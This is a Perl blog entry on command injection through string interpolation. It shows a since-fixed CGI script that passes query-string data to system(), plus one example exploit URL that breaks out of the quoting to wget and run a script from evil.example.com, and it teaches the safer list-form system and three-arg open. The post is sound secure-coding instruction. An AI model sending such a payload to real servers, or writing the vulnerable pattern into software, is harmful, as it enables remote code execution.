Unnecessary and Insecure Interpolation

A couple of days after writing the Petty Tyranny of Good Habits, I stumbled across an example. I still don't quite understand what the Pinata Buster code does, but I found a security hole two seconds into reading the code. (I notified them and they updated their program quickly, so I'm avoiding the full disclosure debate debacle.)

The original code looked something like:

#!/usr/bin/perl -w

my @values = split(/&/,$ENV{'QUERY_STRING'});
foreach my $i (@values) {
    ($varname, $mydata) = split(/=/,$i);

system( "echo '$mydata' >> /home/rhett/usernick" );
system('/home/rhett/music_player.rb &');
system('/home/rhett/servos/phidgets-examples/AdvancedServo-simple &');

The emboldened line shows the problem. (Yes, splitting the query string on & is horribly buggy on its own, but that's not a security flaw in and of itself.)

This isn't quite a Bobby Tables moment, in that the potential for mischief can affect anything the user account under which this program runs, and not just a SQL database.

(If you don't see the security problem, think about what would happen if someone invoked this program with the URL http://example.com/buggy.cgi?exploit='; wget http://evil.example.com/exploit.pl && $^X exploit.pl; echo "all is fine", properly URL-encoded of course.)

This is the same type of problem which makes this code:

open my $fh, "$some_file_name" or die "Security breach didn't work: $!";

... much less secure than the modern version:

open my $fh, '<', $some_file_name or die "Cannot read from input file: $!";

This is not a problem you can (entirely) alleviate by vetting the content of the string; it's difficult to craft a regex or a series of transformations to remove every possible combination of characters which may cause unintended behavior. You should continue to vet the sanity of the contents of these strings to help with security and safety, but the most reliable way to avoid unintentional interpolation problems with untrusted user input is to avoid interpolation altogether, whether with the three-arg form of open or with the list form of system.

Note that even though the example program has replaced the offending system with direct file access using two-arg open, it does not interpolate untrusted user input in an unsafe fashion. It's still clunky code, but it's safer.

Again, the unsafe forms of open and system are merely warning signs. (This pattern of program isn't inherently bad. I have a very useful shell script written in Perl 5 which uses a similar pattern of string manipulation and system calls because string manipulation in bash is painful.) The problem is interpolation of untrusted user input in places where untrusted characters may produce unintended behavior.

Then again, the safe forms of open and system exist to avoid that problem altogether.

Modern Perl: The Book

cover image for Modern Perl: the book

The best Perl Programmers read Modern Perl: The Book.

sponsored by the How to Make a Smoothie guide



About this Entry

This page contains a single entry by chromatic published on November 22, 2010 12:09 PM.

The Petty Tyranny of Good Habits was the previous entry in this blog.

When Do You Report Semantics Errors? is the next entry in this blog.

Find recent content on the main index or look in the archives to find all content.

Powered by the Perl programming language

what is programming?